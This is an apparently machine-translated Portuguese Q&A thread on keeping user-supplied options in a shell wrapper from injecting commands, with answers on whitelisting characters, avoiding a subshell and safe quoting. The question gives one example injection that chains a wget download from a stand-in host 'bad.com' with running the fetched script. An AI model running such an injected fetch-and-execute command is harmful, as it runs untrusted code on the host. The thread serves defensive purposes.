Como evitar a injeção de comandos através das opções de comando?
Eu tenho um aplicativo wrapper em que preciso permitir que o usuário especifique opções personalizadas para passar para um simulador. No entanto, quero garantir que o usuário não injete outros comandos por meio das opções do usuário. Qual é a melhor maneira de conseguir isso?
O usuário fornece: -a -b
O aplicativo executa: mysim --preset_opt -a -b
No entanto, não quero que isso aconteça:
O usuário fornece: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
O aplicativo executa: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Atualmente, estou pensando em simplesmente 'colocar entre aspas simples todas as opções fornecidas pelo usuário e remover todas as aspas simples fornecidas pelo usuário, para que o comando no último exemplo se torne inofensivo:
Nota: O mysimcomando é executado como parte de um script de shell em um contêiner do docker / lxc. Estou executando o Ubuntu.
Você está usando evalpara executar o aplicativo? Caso contrário, a injeção não deve ocorrer:x="&& echo Doomed" ; echo $x
Não, eu não estou usando eval. Estou chamando o executável mysimdentro de um script de shell. Estou vendo a injeção acontecer se eu simplesmente copiar a sequência de opções que o usuário fornece e colar no final do mysimcomando.
O aplicativo wrapper copia e cola a sequência de opções?
— choroba 11/07
Sim, as opções do usuário aparecem como uma única sequência, como -a -b. Então, eu estou procurando garantir que comandos adicionais não sejam injetados nessa string.
você pode colocar na lista branca? apenas permitir personagens [a-zA-Z0-9 _-]parece uma escolha bastante defensiva.
Se você tiver controle sobre o programa wrapper, verifique se ele não invoca um subshell. No fundo, uma instrução para executar um programa consiste no caminho completo (absoluto ou relativo ao diretório atual) para o executável e uma lista de cadeias de caracteres para passar como argumentos. A pesquisa PATH, argumentos de separação de espaço em branco, operadores de citação e controle são todos fornecidos pelo shell. Sem casca, sem dor.
Por exemplo, com um wrapper Perl, use o formulário de lista de execou system. Em muitos idiomas, chame uma das funções execou execXXX(ou unix.execo que é chamado) em vez de system, ou os.spawncom shell=False, ou o que for necessário.
Se o wrapper for um script de shell, use "$@"para transmitir os argumentos, por exemplo
Se você não tiver escolha e o programa wrapper chamar um shell, será necessário citar os argumentos antes de passá-los para o shell. A maneira mais fácil de citar argumentos é fazer o seguinte:
Em cada argumento, substitua cada ocorrência de '(aspas simples) pela cadeia de quatro caracteres '\''. (por exemplo, don'ttorna-se don'\''t)
Adicione 'no início de cada argumento e também no final de cada argumento. (por exemplo don't, de , don'\''ttorna-se 'don'\''t')
Concatene os resultados com um espaço intermediário.
Se você precisar fazer isso em um invólucro de shell, aqui está uma maneira.
(Infelizmente, a ${VAR//PATTERN/REPLACEMENT}construção do bash , que deve ser útil aqui, requer citações peculiares, e acho que você não pode obter '\''como o texto de substituição.)
Você pode usar de Bash ${VAR//PATTERN/REPLACEMENT}idioma para transformar uma única citação 'em '\''pelo primeira colocação '\''em uma variável (como um passo intermediário) e depois expandir essa variável como o REPLACEMENTelemento no idioma Bash mencionado.